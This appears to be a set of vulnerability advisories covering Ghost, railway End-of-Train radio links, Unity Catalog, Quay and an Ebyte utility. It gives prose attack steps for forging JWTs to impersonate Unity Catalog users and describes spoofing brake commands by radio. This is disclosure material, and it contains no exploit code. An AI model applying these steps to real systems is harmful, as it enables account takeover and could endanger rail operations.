Ghost through 5.85.1 allows remote attackers to bypass an authentication rate-limit protection mechanism by using many X-Forwarded-For headers with different values. NOTE: the vendor's position is that Ghost should be installed with a reverse proxy that allows only trusted X-Forwarded-For headers.

The protocol used for remote linking over RF for End-of-Train and Head-of-Train (also known as a FRED) relies on a BCH checksum for packet creation. It is possible to create these EoT and HoT packets with a software defined radio and issue brake control commands to the EoT device, disrupting operations or potentially overwhelming the brake systems.

Vulnerability from github – Published: 2026-05-11 17:58 – Updated: 2026-05-11 17:58
VLAI
Summary
Unity Catalog has a JWT Issuer Validation Bypass tht Allows Complete User Impersonation
Details

Context: A critical authentication bypass vulnerability exists in the Unity Catalog token exchange endpoint (/api/1.0/unity-control/auth/tokens). The endpoint extracts the issuer (iss) claim from incoming JWTs and uses it to dynamically fetch the JWKS endpoint for signature validation without validating that the issuer is a trusted identity provider.

Way to exploit:

An attacker can exploit this by: 1. Hosting their own OIDC-compliant server with a valid JWKS endpoint 2. Signing a JWT with their own private key, setting the iss claim to their server 3. Setting the sub/email claim to any known user in the Unity Catalog system 4. Exchanging this crafted token for a valid internal access token

This results in complete impersonation of any user in the system, granting access to all catalogs, schemas, tables, and other resources that user has permissions to.

Additionally, the implementation does not validate the audience (aud) claim, allowing tokens intended for other services to be used.

Example

Example implementation doing token exchange with a self hosted .well-known/openid-configuration and jwks endpoint.

This can be run with python3 main.py and TARGET_USER, UC_SERVER and PORT adjusted to the testing setup.

Vulnerability from github – Published: 2024-06-12 15:31 – Updated: 2024-06-12 15:31
VLAI
Details

A vulnerability was found in Quay. If an attacker can obtain the client ID for an application, they can use an OAuth token to authenticate despite not having access to the organization from which the application was created. This issue is limited to authentication and not authorization. However, in configurations where endpoints rely only on authentication, a user may authenticate to applications they otherwise have no access to.

Vulnerability from github – Published: 2026-08-31 18:31 – Updated: 2026-08-31 18:31
VLAI
Details

The affected Ebyte

product's vendor configuration utility permits access to administrative functions without verifying the operator's identity under certain credential conditions. An unauthenticated attacker on the adjacent network could modify critical settings or change access credentials, potentially preventing legitimate administrators from managing the device.
